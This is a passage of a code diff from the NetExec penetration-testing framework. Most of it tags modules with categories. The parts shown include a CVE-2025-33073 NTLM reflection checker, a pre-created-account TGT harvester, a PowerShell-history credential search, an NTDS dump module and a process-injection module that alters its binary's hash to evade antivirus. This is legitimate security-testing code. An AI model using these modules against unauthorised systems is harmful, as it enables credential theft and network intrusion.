if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
|
||||
|
||||
dataRun = parsed_header["$DATA"][dataRun_offset:]
|
||||
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
|
||||
@@ -518,7 +564,7 @@ class NXCModule:
|
||||
|
||||
for i in range(num_partition_entries):
|
||||
entry_offset = i * partition_entry_size
|
||||
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
|
||||
partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size]
|
||||
partition_entries.append(partition_entry)
|
||||
|
||||
return partition_entries
|
||||
|
||||
@@ -6,7 +6,7 @@ import time
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.helpers.misc import CATEGORY, validate_ntlm
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -19,6 +19,7 @@ class NXCModule:
|
||||
name = "ntdsutil"
|
||||
description = "Dump NTDS with ntdsutil"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
|
||||
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
|
||||
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
|
||||
name = "ntlm_reflection"
|
||||
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
# Reference table from MSRC report
|
||||
# https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073
|
||||
MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR
|
||||
(6, 0, 6003): 23351, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25522, # Windows Server 2012
|
||||
(6, 3, 9600): 22620, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 8148, # Windows Server 2016
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 3807, # Windows Server 2022
|
||||
(10, 0, 19044): 5965, # Windows 10 21H2
|
||||
(10, 0, 22621): 5472, # Windows 11 22H2
|
||||
}
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def is_vulnerable(self, major, minor, build, ubr):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = self.MSRC_PATCHES.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
connection.trigger_winreg()
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
# Reading UBR from registry
|
||||
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
|
||||
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
|
||||
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
|
||||
version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None
|
||||
dce.disconnect()
|
||||
if not version_str:
|
||||
self.context.log.info("Could not determine OS version from registry")
|
||||
return
|
||||
vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr)
|
||||
if vuln:
|
||||
if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled
|
||||
context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})")
|
||||
else:
|
||||
context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})")
|
||||
except SessionError as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.context.log.info(f"RemoteRegistry is probably deactivated: {e}")
|
||||
else:
|
||||
self.context.log.debug(f"Unexpected error: {e}")
|
||||
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
|
||||
context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}")
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,6 +14,7 @@ class NXCModule:
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -13,6 +14,7 @@ class NXCModule:
|
||||
name = "obsolete"
|
||||
description = "Extract all obsolete operating systems from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def ldap_time_to_datetime(self, ldap_time):
|
||||
"""Convert an LDAP timestamp to a datetime object."""
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "petitpotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -16,4 +20,4 @@ class NXCModule:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+4
-2
@@ -2,6 +2,7 @@ from base64 import b64decode
|
||||
from sys import exit
|
||||
from os.path import abspath, join, isfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
@@ -14,6 +15,7 @@ class NXCModule:
|
||||
name = "pi"
|
||||
description = "Run command as logged on users via Process Injection"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -28,13 +30,13 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
|
||||
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -11,6 +12,7 @@ class NXCModule:
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
sensitive_keywords = [
|
||||
"password", "passw", "secret", "credential", "key",
|
||||
@@ -30,7 +32,7 @@ class NXCModule:
|
||||
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
|
||||
if file.get_longname() not in self.false_positive:
|
||||
file_path = f"{powershell_history_dir}{file.get_longname()}"
|
||||
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
@@ -42,7 +44,7 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
|
||||
+49
-59
@@ -3,7 +3,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -16,79 +16,69 @@ class NXCModule:
|
||||
name = "pre2k"
|
||||
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
|
||||
computers = []
|
||||
|
||||
try:
|
||||
ldap_connection = connection.ldap_connection
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
search_results = connection.search(search_filter, attributes)
|
||||
results = parse_result_attributes(search_results)
|
||||
context.log.debug(f"Search results: {results}")
|
||||
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
|
||||
computers = []
|
||||
|
||||
try:
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
search_results = connection.search(search_filter, attributes)
|
||||
results = parse_result_attributes(search_results)
|
||||
context.log.debug(f"Search results: {results}")
|
||||
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
file.write(f"{computer}\n")
|
||||
|
||||
# Print discovered pre-created computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
# Obtain TGTs and save to ccache
|
||||
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
|
||||
os.makedirs(ccache_base_dir, exist_ok=True)
|
||||
|
||||
successful_tgts = 0
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
|
||||
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
|
||||
successful_tgts += 1
|
||||
file.write(f"{computer}\n")
|
||||
|
||||
# Summary of TGT results
|
||||
if successful_tgts > 0:
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
# Print discovered pre-created computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
# Obtain TGTs and save to ccache
|
||||
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
|
||||
os.makedirs(ccache_base_dir, exist_ok=True)
|
||||
|
||||
ldap_connection.close()
|
||||
return True
|
||||
successful_tgts = 0
|
||||
|
||||
for computer in computers:
|
||||
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
|
||||
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
|
||||
successful_tgts += 1
|
||||
|
||||
# Summary of TGT results
|
||||
if successful_tgts > 0:
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during LDAP connection: {e}")
|
||||
return False
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
|
||||
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
|
||||
try:
|
||||
|
||||
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from contextlib import suppress
|
||||
import traceback
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,6 +16,7 @@ class NXCModule:
|
||||
name = "presence"
|
||||
description = "Traces Domain and Enterprise Admin presence in the target over SMB"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""There are no module options."""
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -15,4 +19,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
Loaded 100 of 190 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user